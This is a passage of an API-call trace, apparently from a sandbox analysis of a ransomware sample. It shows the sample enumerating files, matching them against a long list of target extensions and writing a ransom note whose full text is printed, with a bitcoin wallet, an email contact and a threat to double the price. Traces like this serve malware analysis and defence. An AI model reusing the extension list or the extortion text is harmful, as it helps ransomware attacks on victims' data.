(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0102.890] lstrlenA (lpString="*.odb") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.java") returned 0 [0102.890] lstrlenA (lpString="*.java") returned 6 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0102.890] lstrlenA (lpString="*.asm") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.890] lstrlenA (lpString="*.pfx") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0102.890] lstrlenA (lpString="*.pem") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0102.890] lstrlenA (lpString="*.p12") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.890] lstrlenA (lpString="*.gpg") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.890] lstrlenA (lpString="*.vsd") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0102.890] lstrlenA (lpString="*.odg") returned 5 [0102.890] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0102.890] lstrlenA (lpString="*.raw") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0102.891] lstrlenA (lpString="*.nef") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0102.891] lstrlenA (lpString="*.svg") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0102.891] lstrlenA (lpString="*.psd") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.891] lstrlenA (lpString="*.vmx") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.891] lstrlenA (lpString="*.vmdk") returned 6 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.891] lstrlenA (lpString="*.vdi") returned 5 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.891] lstrlenA (lpString="*.lay6") returned 6 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.891] lstrlenA (lpString="*.mpeg") returned 6 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.891] lstrlenA (lpString="*.djvu") returned 6 [0102.891] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.892] lstrlenA (lpString="*.tiff") returned 6 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0102.892] lstrlenA (lpString="*.backup") returned 8 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.892] lstrlenA (lpString="*.pdf") returned 5 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0102.892] lstrlenA (lpString="*.cert") returned 6 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0102.892] lstrlenA (lpString="*.docm") returned 6 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.892] lstrlenA (lpString="*.xlsm") returned 6 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.892] lstrlenA (lpString="*.dwg") returned 5 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0102.892] lstrlenA (lpString="*.nd") returned 4 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0102.892] lstrlenA (lpString="*.tlg") returned 5 [0102.892] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0102.893] lstrlenA (lpString="*.lgb") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0102.893] lstrlenA (lpString="*.mov") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0102.893] lstrlenA (lpString="*.xdw") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0102.893] lstrlenA (lpString="*.ods") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0102.893] lstrlenA (lpString="*.wav") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0102.893] lstrlenA (lpString="*.mp3") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0102.893] lstrlenA (lpString="*.aiff") returned 6 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0102.893] lstrlenA (lpString="*.flac") returned 6 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0102.893] lstrlenA (lpString="*.m4a") returned 5 [0102.893] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\147e0380bb1defe89cef3287b2e165f7\\Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0102.894] lstrlenA (lpString="*.csv") returned 5 [0102.894] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x448adbc0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x448adbc0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x448adbc0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0102.894] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0102.894] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45128a20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x45128a20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x45128a20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="271d3556cf39121fa868d10e42f11d96", cAlternateFileName="271D35~1")) returned 1 [0102.894] lstrcmpA (lpString1=".", lpString2="271d3556cf39121fa868d10e42f11d96") returned -1 [0102.894] lstrcmpA (lpString1="..", lpString2="271d3556cf39121fa868d10e42f11d96") returned -1 [0102.894] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0102.894] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="271d3556cf39121fa868d10e42f11d96" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96" [0102.894] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96") returned 100 [0102.894] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45128a20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x45128a20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x45128a20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.908] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0102.908] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x45128a20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x45128a20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x45128a20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.908] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0102.908] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0102.908] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x450dc760, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x450dc760, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x450dc760, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x2bc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0102.908] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.908] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0102.908] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0102.908] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned -1 [0102.908] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\*.*") returned="*.*" [0102.908] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\" [0102.909] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\") returned="" [0102.909] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\HOW TO DECRYPT FILES.txt" [0102.909] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\271d3556cf39121fa868d10e42f11d96\\how to decrypt files.txt")) returned 0xffffffff [0102.909] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\271d3556cf39121fa868d10e42f11d96\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.915] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0102.915] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.916] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.917] CloseHandle (hObject=0x90) returned 1 [0102.917] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll" [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0102.917] lstrlenA (lpString="*.ems") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0102.917] lstrlenA (lpString="*.db") returned 4 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.917] lstrlenA (lpString="*.dbf") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0102.917] lstrlenA (lpString="*.myox") returned 6 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0102.917] lstrlenA (lpString="*.myo") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.917] lstrlenA (lpString="*.qbw") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.917] lstrlenA (lpString="*.qbb") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.917] lstrlenA (lpString="*.qbm") returned 5 [0102.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.918] lstrlenA (lpString="*.qbo") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.918] lstrlenA (lpString="*.qbx") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0102.918] lstrlenA (lpString="*.qba") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0102.918] lstrlenA (lpString="*.qby") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.918] lstrlenA (lpString="*.qbj") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.918] lstrlenA (lpString="*.ofx") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0102.918] lstrlenA (lpString="*.qif") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0102.918] lstrlenA (lpString="*.mye") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.918] lstrlenA (lpString="*.mbox") returned 6 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.918] lstrlenA (lpString="*.eml") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0102.918] lstrlenA (lpString="*.pst") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0102.918] lstrlenA (lpString="*.ost") returned 5 [0102.918] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\271d3556cf39121fa868d10e42f11d96\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0102.919] lstrlenA (lpString="*.idx") returned 5 [0102.919] PathMatchSpecA 